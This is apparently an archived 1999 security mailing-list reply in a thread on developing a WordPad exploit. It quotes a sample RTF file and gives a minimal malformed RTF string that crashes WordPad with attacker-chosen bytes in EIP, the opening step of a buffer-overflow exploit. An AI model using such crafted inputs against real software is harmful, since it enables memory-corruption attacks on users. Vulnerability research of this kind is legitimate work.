Re: development of wordpad exploit

[dlh () ACU CS UMB EDU (Dave Harvill)]

On Sat, 20 Nov 1999, Thomas Dullien wrote:

<snip>
> For this reason, we first use wordpad to create a simple rtf file, containing any
> text you wish. Mine looks like this when viewed in notepad:
>
> ;--- snip ;>----------
> {\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\fswiss MS Sans Serif;}{\f1\froman\fcharset2 Symbol;}{\f2\froman Times New 
> Roman;}}
> {\colortbl\red0\green0\blue0;}
> \deflang1031\pard\plain\f2\fs20 HOLA :)
> \par }
> ;--- snap ;>-----------
</snip>

if you're looking for simplicity, I managed with the following:

{rtf\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbcde}

and got 0x45444342 in EIP after crash. Found this to be  minimum to get
bcde in EIP

-dave

~~~~~~~~~~~~~~~~~~~~~~
dlh () acu cs umb edu
http://www.cs.umb.edu
~~~~~~~~~~~~~~~~~~~~~~